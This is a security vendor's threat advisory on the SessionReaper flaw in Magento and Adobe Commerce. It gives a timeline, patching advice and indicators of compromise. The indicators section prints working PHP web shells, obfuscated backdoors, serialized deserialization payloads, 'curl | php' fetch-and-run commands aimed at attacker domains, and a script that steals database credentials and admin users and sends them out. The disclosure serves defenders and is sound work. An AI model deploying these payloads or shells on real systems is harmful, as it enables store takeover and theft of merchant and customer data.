Sansec logo

SessionReaper, unauthenticated RCE in Magento & Adobe Commerce (CVE-2025-54236)

Sansec

by Sansec Forensics Team

Published in Threat Research

SessionReaper (CVE-2025-54236) is a critical bug in Magento & Adobe Commerce. The bug may hand full control of a store to unauthenticated attackers. Automated attacks have hit over 50% of all stores globally. Merchants should act immediately.

SessionReaper, unauthenticated RCE in Magento & Adobe Commerce (CVE-2025-54236)

In August 2025, a critical (CVSS 9.1) flaw was discovered in all versions of Adobe Commerce and Magento. The bug, named "SessionReaper" by Sansec allows customer account takeover and unauthenticated remote code execution under certain conditions.

Adobe broke their regular release schedule to publish an emergency fix early september. However, Adobe downplayed the urgency by not mentioning that attackers may gain full control of your server. The vulnerability researcher who discovered CVE-2025-54236 confirmed this on Slack.

Also, Adobe did not patch the possibility for arbitrary file uploads, so if you have patched but are not running a specialized WAF, attackers may be able to upload malware to your server.

SessionReaper is one of the most severe Magento vulnerabilities in its history, comparable to Shoplift (2015), Ambionics SQLi (2019), TrojanOrder (2022) and CosmicSting (2024). Each time, thousands of stores got hacked in automated campaigns ran by multiple threat actors.

Timeline

  • Aug 22nd: Adobe accidentally leaks SessionReaper emergency fix
  • Sep 4th: Adobe privately announces emergency fix to selected Commerce customers
  • Sep 9th: Adobe releases emergency patch for SessionReaper - CVE-2025-54236 in APSB25-88 with priority 2 ("patch in 30 days").
  • Sep 19th: Ten days after patch release, fewer than 1 in 3 Magento stores has been patched. For Adobe Commerce Cloud, the figures are marginally better at 1 in 2.
  • Oct 14th: Adobe releases regular security patch APSB25-94 that includes the emergency fix
  • Oct 22nd: First attacks detected after a bug analysis was published by AssetNote.
  • Oct 23rd: Just 38% of stores have been patched.
  • Oct 24th: Mass attacks have reached about 31% of all Magento stores. Adobe confirms abuse and changes priority level to 1 (patch within 72 hours).
  • Oct 26th: Mass attacks have hit 49% of all stores, we estimate that 16-18% of all Magento stores now have one or more backdoors injected.
  • Nov 1st: 81% of all stores have been visisted by a SessionReaper.

What should merchants do?

If you are already using Sansec Shield (included in our Advanced, Enterprise and Agency plans), you have been protected against this attack since early September. All versions of Shield give full protection, but make sure you are running Shield 1.0.14 or higher as that also blocks arbitrary uploads (not patched by Adobe yet).

If you are not using Sansec Shield, you should test and deploy the patch as soon as possible. Because the patch disables internal Magento functionality, chances are that some of your custom/external code will break. Adobe published a developer guide with instructions.

If you cannot safely apply the patch within the next 24 hours, you should activate a WAF for immediate protection. Only Sansec Shield blocks all known attacks. Fastly WAF (on Adobe Cloud) and Cloudflare block some attack vectors but not all.

If you did deploy the patch but not within 24 hours of publication, we recommend to run a malware scanner like eComscan to reveal any backdoors on your system. If you find those, you should rotate your secret crypt key, as leaking it would allow attackers to update your CMS blocks indefinitely.

To prevent attackers from uploading arbitrary files to your server, you can use Shield, disable the customer address upload controller, disable file system write permissions on pub/media/customer_address/*/*, or wait for Adobe to patch the issue. It is not sufficient to block requests to /customer/address_file/upload as there are multiple ways to reach the upload controller.

How the attack works

Our security team successfully reproduced one possible avenue to exploit SessionReaper, but there are likely multiple vectors. While we cannot disclose technical details that could aid attackers, the vulnerability follows a familiar pattern from last year's CosmicSting attack. The attack combines a malicious session with a nested deserialization bug in Magento's REST API.

The specific remote code execution vector appears to require file-based session storage. However, we recommend merchants using Redis or database sessions to take immediate action as well, as there are multiple ways to abuse this vulnerability.

Active exploitation via customer address form

Sansec tracks ecommerce attacks in real-time around the globe. On October 22nd - 6 weeks after initial publication - we observed the first mass attacks in the wild. PHP backdoors are uploaded via /customer/address_file/upload as a fake session. This happens regardless of patch installation, as Adobe only fixed the session deserialization bug, not the unrestricted file upload issue.

If you found these malicious session files but you did patch in time, you are most likely safe. However we still recommend to remove these files and run a malware scan to see if the attack led to any backdoors throughout your code base.

Indicators of compromise

As of November 10th, we observed attack probes from dozens of IPs but these are the most common:

23.146.184.93
23.249.27.221
34.227.25.4
44.212.43.34
45.32.66.51
45.143.20.147
46.39.230.243
54.205.171.35
54.226.181.219
80.78.25.213
86.203.185.51
99.246.176.115
103.215.237.26
141.11.62.221
143.244.44.172
149.28.33.250
155.117.84.134
155.138.226.245
156.244.16.170
157.245.52.111
159.89.12.166
198.144.182.13
212.8.248.191
2001:19f0:6000:9a28:5400:5ff:feb8:8b4b
2a0a:3840:8078:25:0:504e:19d5:1337

Malicious session files may contain code that stores generic PHP backdoors in static.php, bootstrap.php, sysapi.php, gsfa1faewf.txt and several others.

<?php
if (!hash_equals('4009d3fa8132195a2dab4dfa3affc8d2', md5(md5($_REQUEST['pass'] ?? '')))) {
    header('Location:404.php');
    exit;
}
system($_REQUEST['cmd']);
?>

Or simply:

<?php @eval($_REQUEST['cmdddddd']);?>

Most attacks use GuzzleHttp\Cookie\FileCookieJar as serialized object with the GuzzleHttp\Cookie\SetCookie method.

In some cases it appears that the attacker is using a broken Eclipse on Windows setup to generate payloads, where the Eclipse error messages end up in the uploaded session file:

Warning: PHP Startup: Unable to load dynamic library 'bz2' (tried: E:\Tools\eclipse\php7.3\ext\bz2 (The specified module could not be found.), E:\Tools\eclipse\php7.3\ext\php_bz2.dll (The specified module could not be found.)) in Unknown on line 0

This seems to be a test (non-working) attempt

_|O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{S:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{S:4:"data";a:3:{S:7:"Expires";i:1;S:7:"Discard";b:0;S:5:"Value";S:6:"UfxEuF";}}}S:10:"strictMode";N;S:8:"filename";S:39:"./pub/media/customer_address/s/e/setest";S:19:"storeSessionCookies";b:1;}

However, this one works:

_|O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{S:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{S:4:"data";a:3:{S:7:"Expires";i:1;S:7:"Discard";b:0;S:5:"Value";S:125:"<?php http_response_code(404);ob_clean();if(isset($_POST['ZnFDBN'])){eval($_POST['ZnFDBN']);}?>404 error: Page not found.<!--";}}}S:10:"strictMode";N;S:8:"filename";S:20:"./pub/errors/404.php";S:19:"storeSessionCookies";b:1;}

Others appear to test for code execution, and then clean up after themselves:

<?php echo 'AEMgzb'; ; unlink(__FILE__);?>a
<?php echo 'BlUGUz'; ; unlink(__FILE__);?>a
<?php echo 'EcOCkX'; ; unlink(__FILE__);?>a
<?php echo 'FhUCRp'; ; unlink(__FILE__);?>a

// alternatively:
<?php phpinfo(); ; unlink(__FILE__);?>a

A backdoor using $_GET with backticks and short PHP syntax:

<?=`$_GET[cmd]`?>

This backdoor uses XOR encoding to hide its payload:

<?php
// decodes to eval($_GET['cmd']);
$xor = ("Jm7r" ^ "Dvof" ^ "km9x") . ("Ta" ^ "D1" ^ "8t") . ("xDwn" ^ "CIuN" ^ "dJGt") . ("7m" ^ "9r" ^ "U8") . ("G7j" ^ "R5K" ^ "voE") . ("IghA" ^ "XS30" ^ "6irJ");
eval($xor);

A more versatile backdoor that allows both exec and eval via $_GET parameters as well as file upload:

<?php
$A = 'e';
$B = 'x';
$C = 'e';
$D = 'c';
$X = $A . $B . $C . $D;
if (isset($_GET['q'])) print_r($X(base64_decode($_GET['q'])));
if (isset($_GET['p'])) eval(base64_decode($_GET['p']));
else phpinfo();
if (isset($_FILES['file'])) {
    move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
    print_r('Upload Success..');
}

Other successful attempts add the attacker's pseudonym to a public file, for example pub/rootz.php with rootzwashere inside.

A common attack queries safecrafft.com/a.php?a=DOMAIN for code to run:

_|O:32:"Monolog\Handler\SyslogUdpHandler":1:{S:6:"socket";O:29:"Monolog\Handler\BufferHandler":7:{S:7:"handler";r:2;S:10:"bufferSize";i:-1;S:6:"buffer";a:1:{i:0;a:2:{i:0;S:65:"curl https://sagecrafft.com/a.php?a=https://www.XXX.com | php";S:5:"level";N;}}S:5:"level";N;S:11:"initialized";b:1;S:11:"bufferLimit";i:-1;S:10:"processors";a:2:{i:0;S:7:"current";i:1;S:10:"shell_exec";}}}

However, the sagecrafft.com/a.php URL is now unavailable, but previously it contained the following code, whichs retrieves the admin users and recent sales and reports it back to sagecrafft.com/ttt/ref.php:

<?php	function _log($s,$s2){
		$myCurl = curl_init();
		curl_setopt_array($myCurl, array(
			CURLOPT_URL => 'https://sagecrafft.com/ttt/ref.php',
// ...
));
		$response = curl_exec($myCurl);
		curl_close($myCurl);
	}



	$a=file_get_contents('app/etc/env.php');
	if(!$a){
		$a=file_get_contents('../app/etc/env.php');
	}
	$a=explode('return',$a);
	$a=eval('$b='.$a[1]);
	$b2=$b['backend'];
	$url_admin=$b2['frontName'];
	$b1=$b['db'];
	$_table_prefix=$b1['table_prefix'];
	$b1=$b1['connection'];
	$b1=$b1['default'];
	$_host=$b1['host'];
	$_dbname=$b1['dbname'];
	$_username=$b1['username'];
	$_password=$b1['password'];


$connect = mysqli_connect($_host, $_username, $_password, $_dbname);

$select = "SELECT * FROM ".$_table_prefix."sales_order WHERE created_at LIKE '%2025-09%'";
$get=mysqli_query($connect,$select);
$mas=array();
while($e=mysqli_fetch_array($get,MYSQLI_ASSOC)){
	$mas[]=$e;
}
$asd=count($mas);

$select = "SELECT * FROM ".$_table_prefix."quote_payment WHERE created_at LIKE '%2025-09%' AND `method` != 'NULL'";
$get=mysqli_query($connect,$select);
$mas=array();
while($e=mysqli_fetch_array($get,MYSQLI_ASSOC)){
	$mas[]=$e;
}
$asd2=count($mas);

$select = "SELECT * FROM `".$_table_prefix."admin_user`";
$get=mysqli_query($connect,$select);
$mas=array();
while($e=mysqli_fetch_array($get,MYSQLI_ASSOC)){
	$mas[]=$e;
}
$usr=print_r($mas,true);


_log('https://DOMAIN/'.$url_admin.'::IP::'.$_host.'::'.$_username.'::'.$_password.'::'.$_dbname.'::'.$_table_prefix.'::        '.$asd.'  '.$asd2,'([https://DOMAIN])'.$usr);
$connect->close();
?>

The sagecrafft.com burner domain has been replaced with worcksbot.com as of November 10th:

wget -O- https://worcksbot.com/w.php?a=https://www.DOMAIN | php

This will log the same information to https://worcksbot.com/o/o.php.

The following backdoors are a combined PHP executor and file uploader:

<?php
  echo 409723*20;
  if(md5($_COOKIE['d'])=='17028f487cb2a84607646da3ad3878ec'){
    echo'ok';
    eval(base64_decode($_REQUEST['id']));
    if($_POST['up']=='up') {
      @copy($_FILES['file']['tmp_name'],$_FILES['file']['name']);
    }
  }
?>
<?php $A = 'e';
$B = 'x';
$C = 'e';
$D = 'c';
$X = $A . $B . $C . $D;
if (isset($_GET['q'])) print_r($X(base64_decode($_GET['q'])));
if (isset($_GET['p'])) eval(base64_decode($_GET['p']));
else phpinfo();
if (isset($_FILES['file'])) {
    move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
    print_r('Upload Success..');
}

Another malicious session tries to download a backdoor from tecnokauf.ru:

curl http://tecnokauf.ru/accesson20.html -o /var/www/vhosts/DOMAIN/htdocs/pub/6376bad677a8.php

This produces a PHP backdoor in pub/6376bad677a8.php:

<?php echo 409723*20;if(md5($_COOKIE['d'])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST['id']));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>

Acknowledgements

Credits to Blaklis for discovering the flaw.

Thanks to Scott Robinson, Pieter Hoste and Tu Van for additional research.

Sansec is not affiliated with Adobe and runs unbiased security research across the eCommerce ecosystem. Sansec protects 1 in 10 of all Magento stores worldwide.

Read more

Scan your store now
for malware & vulnerabilities

$ curl ecomscan.com | sh

eComscan is the most thorough security scanner for Magento, Adobe Commerce, Shopware, WooCommerce and many more.

Stay up to date with the latest eCommerce attacks

Sansec logo

experts in eCommerce security

Terms & Conditions
Privacy & Cookie Policy